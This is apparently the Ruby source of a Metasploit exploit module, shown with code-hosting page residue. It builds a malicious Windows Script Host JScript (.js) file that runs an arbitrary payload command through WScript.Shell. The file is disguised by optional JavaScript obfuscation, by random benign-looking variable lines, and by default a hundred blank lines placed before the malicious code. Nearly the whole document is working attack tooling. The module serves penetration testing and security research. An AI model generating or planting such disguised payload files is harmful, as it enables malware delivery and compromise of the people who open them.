bcoles
117 lines
3.6 KiB
Ruby
117 lines
3.6 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = GreatRanking
|
|
|
|
include Msf::Exploit::FILEFORMAT
|
|
include Msf::Exploit::JSObfu
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Malicious Windows Script Host JScript (.js) File',
|
|
'Description' => %q{
|
|
This module creates a Windows Script Host (WSH) JScript (.js) file.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'bcoles'
|
|
],
|
|
'References' => [
|
|
['ATT&CK', Mitre::Attack::Technique::T1204_002_MALICIOUS_FILE],
|
|
],
|
|
'Arch' => [ARCH_CMD],
|
|
'Platform' => 'win',
|
|
'Payload' => {
|
|
'Space' => 8_000, # 8190 maximum command length, minus some space for "cmd.exe /c " and escaping
|
|
'BadChars' => "\x00",
|
|
'DisableNops' => true
|
|
},
|
|
'Targets' => [
|
|
[
|
|
'Microsoft Windows 98 or newer', {}
|
|
],
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => '1998-06-25', # Windows 98 release date
|
|
'DefaultTarget' => 0,
|
|
'DefaultOptions' => {
|
|
'DisablePayloadHandler' => true
|
|
},
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [SCREEN_EFFECTS]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options([
|
|
OptString.new('FILENAME', [true, 'The JScript file name.', 'msf.js']),
|
|
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', true])
|
|
])
|
|
|
|
register_advanced_options([
|
|
OptBool.new('PrependBenignCode', [false, 'Prepend several lines of benign code at the start of the file.', true]),
|
|
OptInt.new('PrependNewLines', [false, 'Prepend new lines before the malicious JScript.', 100]),
|
|
])
|
|
end
|
|
|
|
def generate_jscript(command_string, prepend_benign_code: false, prepend_new_lines: 0, obfuscate: false)
|
|
js = ''
|
|
|
|
# TODO: This could be improved by generating more realistic looking
|
|
# benign code with functions and flow control
|
|
if prepend_benign_code
|
|
rand(5..10).times do
|
|
js << "var #{rand_text_alpha(6..16)}=\"#{rand_text_alphanumeric(6..16)}\";\r\n"
|
|
end
|
|
end
|
|
|
|
js << "\r\n" * prepend_new_lines
|
|
|
|
escaped_payload = command_string.gsub('\\', '\\\\\\').gsub('"', '\\"')
|
|
|
|
# If the payload contains " & " we presume it is a command string.
|
|
#
|
|
# TODO: Change this once Metasploit is able to inform a module that
|
|
# the specified ARCH_CMD payload is a string of commands
|
|
# (not a single command).
|
|
if escaped_payload.include?(' & ')
|
|
cmd = "cmd.exe /c #{escaped_payload}"
|
|
else
|
|
cmd = escaped_payload
|
|
end
|
|
|
|
shell_var = rand_text_alpha(6..16)
|
|
js_payload = "var #{shell_var} = new ActiveXObject(\"WScript.Shell\");"
|
|
js_payload << "#{shell_var}.Run(\"#{cmd}\");"
|
|
|
|
if obfuscate
|
|
js_obfu = Rex::Exploitation::JSObfu.new(js_payload)
|
|
obfuscated_payload = js_obfu.obfuscate(memory_sensitive: false).to_s
|
|
# WSH JScript execution context does not support 'window' object
|
|
obfuscated_payload = obfuscated_payload.gsub('window[', 'String[')
|
|
js << obfuscated_payload
|
|
else
|
|
js << js_payload
|
|
end
|
|
|
|
js
|
|
end
|
|
|
|
def exploit
|
|
js = generate_jscript(
|
|
payload.encoded,
|
|
prepend_benign_code: datastore['PrependBenignCode'],
|
|
prepend_new_lines: datastore['PrependNewLines'],
|
|
obfuscate: datastore['OBFUSCATE']
|
|
)
|
|
file_create(js)
|
|
end
|
|
end
|